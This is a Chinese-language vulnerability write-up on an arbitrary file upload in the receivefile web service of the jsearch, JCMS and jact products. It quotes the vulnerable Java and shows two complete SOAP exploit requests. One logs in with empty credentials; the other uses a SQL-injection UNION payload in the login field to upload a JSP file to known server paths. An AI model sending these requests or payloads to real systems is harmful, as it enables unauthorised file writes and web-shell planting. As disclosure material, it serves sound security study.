受影响的系统版本是WebService中存在一个receivefile操作的,一般在wsInfo服务中。 (注:不同产品不同版本代码可能会有所不同) 0x1 jsearch
public String receivefile(String strLoginId, String strPwd, String strKey, DataHandler handler, String filename, int iState) { String result = ""; InputStream input = null; FileOutputStream fos = null; String str1; try { result = verifyUserAndPass(strLoginId, strPwd, strKey); if (!(result.equals(""))) { str1 = result; return str1; } String path = Constants.getTempPath(); java.io.File dir = new java.io.File(path); if (!(dir.exists())) { try { dir.mkdirs(); } catch (Exception e) { str1 = setError("A00", "目录不存在"); if (input != null) try { input.close(); } catch (IOException localIOException2) { } if (fos != null) try { fos.close(); } catch (IOException localIOException3) { } return str1; } } //关键代码从这里开始,可以看到handler和filename参数都是来自用户定义,从而可以向服务器写入任意文件。 input = handler.getInputStream(); fos = new FileOutputStream(new java.io.File(dir, filename)); byte[] buffer = new byte[4096]; int n = 0; while ((n = input.read(buffer)) != -1) { fos.write(buffer, 0, n); } if (iState == 1) { boolean b = this.combination.combFile(path + filename, path, true); if (!(b)) return setFileError("0", "合并文件出错"); } } catch (Exception e) { LogWriter.error("receivefile Error:" + e, WsInfo.class); return setError("A00", e.toString()); } finally { if (input != null) try { input.close(); } catch (IOException localIOException8) { } if (fos != null) try { fos.close(); } catch (IOException localIOException9) { } } if (input != null) try { input.close(); } catch (IOException localIOException10) { } if (fos != null) try { fos.close(); } catch (IOException localIOException11) { } return setFileError("1", ""); }
来看verifyUserAndPass代码:
private String verifyUserAndPass(String strLoginId, String strPwd, String strKey) { String result = ""; MD5 md5 = new MD5(); strLoginId = md5.decrypt(strLoginId, strKey); strPwd = md5.decrypt(strPwd, strKey); if (!(strLoginId.equals(Constants.getImplUserName()))) { result = setError("A01", ""); } else if (!(strPwd.equals(Constants.getImplePassword()))) { result = setError("A02", ""); } return result; }
Constants.getImplUserName()和Constants.getImplepassword()的值默认都是””,md5.decrypt(“”.strKey)的结果为””,只要strLoginId和strPwd都设为空即可验证通过。 0x2 JCMS JCMS中这个操作,代码有所不同,区别在于verifyUserAndPass:
private String verifyUserAndPass(String strLoginId, String strPwd, String strKey) { String error = ""; try { String strCheck = this.infoImpl.checkUser(strLoginId, strPwd, strKey); if (strCheck.equals("1")) { error = this.xmlformat.setError("A01", ""); break label147: } if (strCheck.equals("2")) { error = this.xmlformat.setError("A02", ""); break label147: } if (strCheck.equals("3")) { error = ""; break label147: } error = this.xmlformat.setError("A00", strCheck); } catch (Exception e) { LogWriter.error("verifyUserAndPass Error:" + e, WsInfo.class); error = this.xmlformat.setError("A00", e.toString()); } label147: return error; } }
checkUser跟下去最后到:
public int checkUser(String loginId, String strPwd, String strKey) { UserBLF uBLF = new UserBLF(this.strAppId); Merp_Pub_UserEntity entity = new Merp_Pub_UserEntity(); entity.setVc_loginid(loginId); //此处是原样保存,后由getVc_loginid原样取出; entity = uBLF.getEntity(entity); if (entity == null) { return 1; } if (!("".equals(strKey))) { strPwd = md5decode(strPwd, strKey); } if ((entity.getVc_password().equals(strPwd)) && (!("".equals(strPwd)))) { return 3; } return 2; }
这个是jcms系统的老问题了,这个checkUser存在SQL注射,可被绕过,在Merp_Pub_UserEntity中:
public Merp_Pub_UserEntity getEntity(Merp_Pub_UserEntity entity) { if (entity == null) return null; try { String strSql = "SELECT c_id,vc_loginid,vc_password,vc_username,vc_usergroupid,vc_headship,vc_comptel,vc_compfax,vc_hometel,vc_mobile,vc_email,vc_qq,vc_msn,c_enable,vc_ip,c_accesstime,n_loginfail,c_failtime,c_alertflag,n_alertinterval,vc_usertype,i_defaultwebid ,i_age,c_sex,vc_address, vc_post,vc_pwdquestion,vc_pwdanswer,c_createtime,vc_firstspell,vc_userkey FROM merp_pub_user"; if (!("".equals(entity.getVc_loginid()))) strSql = strSql + " WHERE vc_loginid='" + entity.getVc_loginid() + "'"; //entity.getVc_loginid()取出loginid原值,产生SQL注入,语句执行结果可控。 else if (!("".equals(entity.getVc_username()))) strSql = strSql + " WHERE vc_username='" + entity.getVc_username() + "'"; else { return null; } String[][] data = Manager.doQuery(this.strAppID, strSql); Merp_Pub_UserEntity entity1 = null; if ((data != null) && (data.length > 0)) { entity1 = new Merp_Pub_UserEntity(); ... entity1.setVc_password(Convert.getValue(data[0][2]));//VC_password值可控 ... entity1.setVc_userkey(Convert.getValue(data[0][30])); } return entity1; } catch (Exception e) { LogWriter.error("getUserEntity Error:" + e, UserBLF.class); } return null; }
只要通过用户验证,其它地方和jsearch一样。 0x3 jact jact的该操作又有所不同,区别还是在用户验证上,jact中最后查询用户名密码的时候是用hibernate预处理,目测不能绕过,只有提供正确用户名密码才能上传。 漏洞测试: jsearch:
POST /jsearch/webservice/wsInfo HTTP/1.0 Content-Type: multipart/related; type="text/xml"; start="<CB69CE057274B576D4C44A9112AE8DE8>"; boundary="----=_Part_0_9532399.1399678337692" Accept: application/soap+xml, application/dime, multipart/related, text/* User-Agent: Axis/1.2 Host: target.com Cache-Control: no-cache Pragma: no-cache SOAPAction: "" Content-Length: 1084 ------=_Part_0_9532399.1399678337692 Content-Type: text/xml; charset=UTF-8 Content-Transfer-Encoding: binary Content-Id: <CB69CE057274B576D4C44A9112AE8DE8> <?xml version="1.0" encoding="UTF-8"?> <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <soapenv:Body> <ns1:receivefile soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:ns1="http://target.com/jsearch/webservice/wsInfo"> <strLoginId xsi:type="xsd:string"></strLoginId> <strPwd xsi:type="xsd:string"></strPwd> <strKey xsi:type="xsd:string"></strKey> <handler href="cid:1AA0D9D06D1918F13C495E8419BE26EB" xsi:type="ns2:DataHandler" xmlns:ns2="ns:FileUploadHandler"/> <fileName xsi:type="xsd:string">test.jsp</fileName> <iState xsi:type="xsd:int">0</iState> </ns1:receivefile> </soapenv:Body> </soapenv:Envelope> ------=_Part_0_9532399.1399678337692 Content-Type: text/plain Content-Transfer-Encoding: binary Content-Id: <1AA0D9D06D1918F13C495E8419BE26EB> <%="hello world!"%> ------=_Part_0_9532399.1399678337692--
jcms,区别在于strLoginId设为:A' union select NULL,NULL,'AEY=',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from merp_pub_user--,strPwd设为1,'AEY='解密后为1
POST /jcms/service/WsInfo HTTP/1.0 Content-Type: multipart/related; type="text/xml"; start="<CB69CE057274B576D4C44A9112AE8DE8>"; boundary="----=_Part_0_9532399.1399678337692" Accept: application/soap+xml, application/dime, multipart/related, text/* User-Agent: Axis/1.2 Host: target.com Cache-Control: no-cache Pragma: no-cache SOAPAction: "" Content-Length: 1156 ------=_Part_0_9532399.1399678337692 Content-Type: text/xml; charset=UTF-8 Content-Transfer-Encoding: binary Content-Id: <CB69CE057274B576D4C44A9112AE8DE8> <?xml version="1.0" encoding="UTF-8"?> <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <soapenv:Body> <ns1:receivefile soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:ns1="http://target.com/jcms/service/wsInfo"> <strLoginId xsi:type="xsd:string">A' union select NULL,NULL,'AEY=',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from merp_pub_user--</strLoginId> <strPwd xsi:type="xsd:string">1</strPwd> <strKey xsi:type="xsd:string"></strKey> <handler href="cid:1AA0D9D06D1918F13C495E8419BE26EB" xsi:type="ns2:DataHandler" xmlns:ns2="ns:FileUploadHandler"/> <fileName xsi:type="xsd:string">test.jsp</fileName> <iState xsi:type="xsd:int">0</iState> </ns1:receivefile> </soapenv:Body> </soapenv:Envelope> ------=_Part_0_9532399.1399678337692 Content-Type: text/plain Content-Transfer-Encoding: binary Content-Id: <1AA0D9D06D1918F13C495E8419BE26EB> <%="hello world!"%> ------=_Part_0_9532399.1399678337692--
本来想整个java版的客户端来操作,鼓捣了好久老出错。jsearch默认写入路径是~/jsearch/data/temp/test.jsp,jcms默认路径~/jcms/jcms_files/jcms1/年月/test.jsp。